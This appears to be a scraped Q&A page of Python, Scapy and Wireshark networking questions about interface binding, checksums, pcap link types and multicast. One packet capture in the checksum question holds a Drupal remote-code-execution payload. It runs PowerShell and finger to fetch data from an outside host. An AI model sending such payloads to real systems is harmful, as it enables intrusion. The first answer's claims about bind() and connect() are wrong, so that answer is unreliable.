We Keep Coding

Python sending package through wrong interface

I have a raspberry pi that is both connected to the internet via Wlan and a local device via Ethernet. So it has two IPs; one for each endpoint.
This is how it looks like simplified when running ifconfig; with different IPs for privacy
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 189.168.200.110 netmask 0.0.0.0 broadcast 255.255.255.255
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 189.168.201.79 netmask 255.255.255.0 broadcast 192.168.1.255
This is the code that python is using to send a message to the device through the Ethernet with that gateway's ip
TCP_PORT = 3001
SERVER_IP_AD = "189.168.200.110"
CLIENT_IP_AD = "189.168.200.155"
BROADCAST_IP = "255.255.255.255"
def sendMessage(self, file_path, client_ip=CLIENT_IP_AD):
print('message en route')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((self.SERVER_IP_AD, 0))
s.connect((client_ip, self.TCP_PORT)) #**ERROR IS HERE**
MESSAGE = self.openFile(file_path)
s.send(MESSAGE.encode())
data = s.recv(self.BUFFER_SIZE)
s.close()
return data
Using wireshark I can see that the package is being sent through the Wlan interface instead of the Ethernet interface with the correct IP source and IP destination.
How do I tell python to use the correct interface when sending out the package?

In my opinion, you can establish Tcp connection with Ethernet, cause there isn't shaking hands by Ethernet
And, you shouldn't use s.bind() and s.connect() at the same time. Because the former is for UDP client, and the later is for TCP client. Have a try with only s.bind().

Scapy tcp checksum marked incorret by wireshark

I've been changing content of packets, and setting the tcp.chksum back to None at the end of it. The checksum is recalculated as expected, but when (pcacap) loaded into Wireshark, the checksum is marked as incorrect.
This is my packet (will call it for now tcp)-
b"\\xfcI\\x00PZ0\\xc32\\x14\'_\\xf8P\\x18\\x01\\xf6r\\xeb\\x00\\x00POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\\r\\nHost: 240.170.0.2\\r\\nConnection: keep-alive\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept: */*\\r\\nUser-Agent: python-requests/2.18.1\\r\\nContent-Length: 201\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\n\\r\\nmail%5B%23markup%5D=powershell+%22finger+l%40240.0.0.3++++%7C+select+-Skip+2+%7Ctee+archivo.b64%22&mail%5B%23type%5D=markup&form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec"
Afterwards I do
tcp.setfieldval('chksum', None)
tcp.show2()
which gives me the following
###[ TCP ]###
sport = 64585
dport = http
seq = 1513145138
ack = 338124792
dataofs = 5
reserved = 0
flags = PA
window = 502
chksum = 0x72eb
urgptr = 0
options = []
###[ Raw ]###
load = 'POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\r\nHost: 240.170.0.2\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: python-requests/2.18.1\r\nContent-Length: 201\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nmail%5B%23markup%5D=powershell+%22finger+l%40240.0.0.3++++%7C+select+-Skip+2+%7Ctee+archivo.b64%22&mail%5B%23type%5D=markup&form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec'
Once written out to a file (the whole pcap, using wrpcap), Wireshark marks it as incorrect and suggests the correct checksum is 0x72ef.
Can anyone identify if this is a bug or if there is a solution to this?
Note: The checksum recalculation works correctly on majority of the packets i tried, this is just one of the few on which it failed.
Edit 1: As per request, the whole packet
b"\\xfa\\x16>\\xaa\\x00\\x00\\xfa\\x16>\\x00\\x00\\x00\\x08\\x00E\\x00\\x02%.\\xc6#\\x006\\x063^\\xf0\\x00\\x00\\x02\\xf0\\xaa\\x00\\x02\\xfcI\\x00PZ0\\xc32\\x14\'_\\xf8P\\x18\\x01\\xf6`\\xd8\\x00\\x00POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\\r\\nHost: 240.170.0.2\\r\\nConnection: keep-alive\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept: */*\\r\\nUser-Agent: python-requests/2.18.1\\r\\nContent-Length: 201\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\n\\r\\nmail%5B%23markup%5D=powershell+%22finger+l%40240.0.0.3++++%7C+select+-Skip+2+%7Ctee+archivo.b64%22&mail%5B%23type%5D=markup&form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec"
Edit 2:
As requested, you can find the source code here (marked the specific function): https://github.com/Trace-Share/Trace-Manipulation/blob/04d6a6ca09a111065a9218b2818993a5b6db3b5a/TMLib/transf/PacketProcessing.py#L904-L915
Note: It should be equivalent to calling
tcp.setfieldval('load', tcp.getfieldval('load').replace(b'255.255.255.255', b'240.170.0.2))

I need to send a UDP packet from the ethernet adapter to an FPGA with a known MAC address and ipv4 address

I need to send a UDP packet over ethernet from 169.254.xx.xx to 192.168.xx.xx. The second address is the address of the FPGA and its MAC address is known. I am using wireshark to monitor the packets, but when i have an unbound socket, and I call sock.sendto() it sends over WLAN. When I bind the socket to the WLAN interface, it sends, but when I bind the socket to the ethernet interface, I get this error when I try to send:
OSError: [WinError 10051] A socket operation was attempted to an unreachable network
When bound to the ethernet interface, and i send to an unused address in the 169.254.xx.xx subnet, it sends an ARP, but nothing is sent when the destination is in the 192.168.xx.xx subnet.
Here is the code:
import socket
import time
address = '192.168.1.239'
port = 1235
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('169.254.190.73', 0))
sock.sendto('100'.encode('utf-8'), (bytes(address, 'UTF-8'), port))
time.sleep(0.005)
sock.close()
'''
'''

Since 169.254.xx.xx and 192.168.xx.xx represent different networks, traffic in between needs to be routed. However, 169.254.0.0/16 (autoconf) isn't usually routed.
If both nodes actually reside in the same layer 2 segment, just (manually) change the autoconf client's IP address.

scapy's exported linux cooked-mode capture doesn't open in wireshark

Here is a simple exmaple:
from scapy.all import *
pkts = rdpcap('/tmp/sample.pcap')
wireshark(pkts)
Then wireshark gives this error:
The capture file appears to be damaged or corrupt.
(libpcap: IrDA capture has a packet with an invalid sll_protocol field)
I am using wireshark 1.8, python 2.7.3 and scapy 2.2.0.
NOTE: I can open the smaple.pcap file using wireshark directly.
What can I do to make scapy-generated pcap files to open in wireshark?
EDIT:
I tried other pcap files (from wireshark capture samples) and it worked. It seems the problem is in my packets. Here is the first packet (which don't work also):
###[ cooked linux ]###
pkttype = unicast
lladdrtype= 0x1
lladdrlen = 6
src = '\x00\x04\xed\xcb\x9b0'
proto = 0x800
###[ IP ]###
version = 4L
ihl = 5L
tos = 0xb8
len = 165
id = 47433
flags =
frag = 0L
ttl = 49
proto = udp
chksum = 0x50c9
src = 22.31.32.55
dst = 192.168.1.102
\options \
###[ UDP ]###
sport = 4566
dport = 4566
len = 145
chksum = 0x0
###[ Raw ]###
load = 'H\x84\x80\x80\x80\x80\x80\x8c\x80\x80\x86\x81\x8b\x82\x80\x82\x81\x98\xb1\xb9\xb2\xae\xb1\xb6\xb8\xae\xb1\xae\xb2\xb5\xad\xb0\xb1\xb2\xb2\xb6\xb6\xb5\xb7\xb4\xb9\xb4\xad\x81\xca\x82\x89\xb9\xb9\xb5\xb0\xb6\xb1\xb0\xb3\xb3\xa6\x81\x80\xa7\x81\x80\xa8\x82\x80\x80\x84\x89\xb9\xb9\xb5\xb0\xb6\xb1\xb0\xb3\xb3\x8a\x82\xe5\xee\x86\x88\xe3\xe3\xec\xe9\xe5\xee\xf4\xb2\x89\x84\x80\x80\x81\x80\xb8\x89\x80\x80\x80\x80\x80\x80\x80\x81\x80\x88\x84\x80\x80\x81\x80\xb7\x89\x80\x80\x80\x80\x80\x80\x80\x81\x80\x8c\x82\x80\x82\x9f\x84\x9e\xa7 \xe2\xb6\x80'
Note: changed IP addresses so checksum might not be correct.

I have no idea what seems to be the problem, but it can be resolved in the following manner:
wireshark(pkt for pkt in pkts) # don't supply a list but rather a generator
This also outputs the following message:
WARNING: PcapWriter: unknown LL type for generator. Using type 1 (Ethernet)
Apparently, the wireshark function doesn't handle a Linux cooked-mode capture that well. This odd situation might have something to do with the following excerpt from scapy's wiki:
Please remember that Wireshark works with Layer 2 packets (usually called "frames"). So we had to add an Ether() header to our ICMP packets. Passing just IP packets (layer 3) to Wireshark will give strange results.
We can also circumvent this issue by creating a dummy Ethernet layer, if we don't really care about the layer 2 frame:
pkts = [Ether(src=pkt[0].src)/pkt[1:] for pkt in pkts]
EDIT - upon further research, and analyzing scapy's source code, I figured out why passing a generator object seems to solve this issue.
The wireshark function creates a temporary file containing the packets and launches Wireshark with that file. The link type to be specified in the header of that file is extracted in the following manner:
if self.linktype == None:
if type(pkt) is list or type(pkt) is tuple or isinstance(pkt,BasePacketList):
pkt = pkt[0]
try:
self.linktype = conf.l2types[pkt.__class__]
except KeyError:
warning("PcapWriter: unknown LL type for %s. Using type 1 (Ethernet)" % pkt.__class__.__name__)
self.linktype = 1
When passing a generator object, the first if statement evaluates to False (which is obviously a bug) and an exception is raised when attempting to access conf.l2types[pkt.__class__] since pkt.__class__ is <type 'generator'>. Therefore, the except clause of the try-except code block is executed and the link type is specified as 1.
However, when passing a real list, the first if statement evaluates to True and the first packet of the list is extracted and used to access conf.l2types, which is:
In [2]: conf.l2types
Out[2]:
0x1 <- Dot3 (802.3)
0x1 <-> Ether (Ethernet)
0xc -> IP (IP)
0x17 -> Ether (Ethernet)
0x1f <-> IPv6 (IPv6)
0x65 <-> IP (IP)
0x69 <-> Dot11 (802.11)
0x71 -> CookedLinux (cooked linux)
0x77 <-> PrismHeader (Prism header)
0x7f <-> RadioTap (RadioTap dummy)
0x90 <-> CookedLinux (cooked linux)
0xc0 <-> PPI (Per-Packet Information header (partial))
0x304 -> Ether (Ethernet)
0x321 -> Dot11 (802.11)
0x322 -> PrismHeader (Prism header)
0x323 -> RadioTap (RadioTap dummy)
Since pkts[0].__class__ is scapy.layers.l2.CookedLinux, the link type is set to 0x90 rather than to 0x71 (seems like yet another bug), which results in Wireshark failing to parse the file.
Therefore, I think that the best approach would be to copycat scapy's wireshark function, with the subtle change of allowing the user to explicitly specify the link type:
def wireshark(*args, **kwargs):
"""Run wireshark on a list of packets"""
f = scapy.all.get_temp_file()
scapy.all.wrpcap(f, *args, **kwargs)
subprocess.Popen([scapy.all.conf.prog.wireshark, "-r", f])
wireshark(pkts, linktype=0x71)
EDIT - I've now noticed that the link type mapping issue was already reported and fixed by secdev. However, it hasn't reached python-scapy just yet. I've also created a new issue on the invalid handling of a generator object in PcapWriter.

(libpcap: IrDA capture has a packet with an invalid sll_protocol field)
Linux IrDA uses something like the Linux cooked-mode header, but it's not the same:
Linux cooked-mode header, with a link-layer header type of 113;
Linux IrDA header, with a link-layer header type of 144.
I don't know what caused your program to choose 144 rather than 113; was your input file an Linux IrDA file rather than a Linux cooked capture file?

Receiving multicast data on specific interface

tcmpdump can view all the multicast traffic to specific group and port on eth2, but my Python program cannot. The Python program, running on Ubuntu 12.04:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# Multicast port is 52122
sock.bind(('', 52122))
# Interface eth2 IP is 1.2.3.4, multicast group is 6.7.8.9
mreq = socket.inet_aton('6.7.8.9')+socket.inet_aton('1.2.3.4')
sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
while True:
print '\nwaiting to receive message'
data, address = sock.recvfrom(1024)
print data
When I use another program to send a multicast packet to eth2, it works and prints the packet. But it fails to see all the current multicast traffic. If I run tcpdump on eth2 on the same port and group as the above program:
sudo tcpdump -i eth2 host 6.7.8.9 and port 52122
it sees both the packets I send from another program AND all the current multicast traffic. It's output looks likes this...
# Packet sent from my other program
09:52:51.952714 IP 1.2.3.4.57940 > 6.7.8.9.52122: UDP, length 19
# Packet send from the outside world
09:52:52.143339 IP 9.9.9.9.39295 > 6.7.8.9.52122: UDP, length 62
Why can't my program see the packets from the outside world? How can I modify it (or something else) to fix this?
Edit:
I should have mentioned, the interface this going over is not eth2 but eth2.200 a VLAN. (The local IP and the tcpdump commands are all run with eth2.200, I just changed that in this question to make it simpler.) Based on this answer that could be the problem?
Edit #2:
netstat -ng when the program is running shows eth2.200 subscribed to 224.0.0.1 and 6.7.8.9`.
tshark -i eth2.200 igmp shows three repeated 1.2.3.4 -> 6.7.8.9 IGMP 46 V2 Membership Report / Join group 6.7.8.9 when the program first starts. When the program process is killed, it shows 1.2.3.4 -> 224.0.0.2 IGMP 46 V2 Leave group 6.7.8.9. There is also an infrequent 1.2.3.1 -> 224.0.0.1 IGMP 60 V2 Membership Query, general, where 1.2.3.1 is 1.2.3.4's gateway.
Not sure if it will help, but the routing table looks like:
Destination Gateway Genmask Flags MSS Window irtt Iface
0.0.0.0 1.2.5.6 0.0.0.0 UG 0 0 0 eth1
1.2.3.0 0.0.0.0 255.255.255.240 U 0 0 0 eth2.200
Thank you!

Finally! Found this question on ServerFault that addresses the same thing. Basically the kernel was not forwarding on / was filtering out the packets because it thought the sourced address was spoofed.
Changed the settings in /etc/sysctl.conf to match:
net.ipv4.conf.default.rp_filter = 0
net.ipv4.conf.all.rp_filter = 0
net.ipv4.ip_forward = 1
Rebooted and everything works.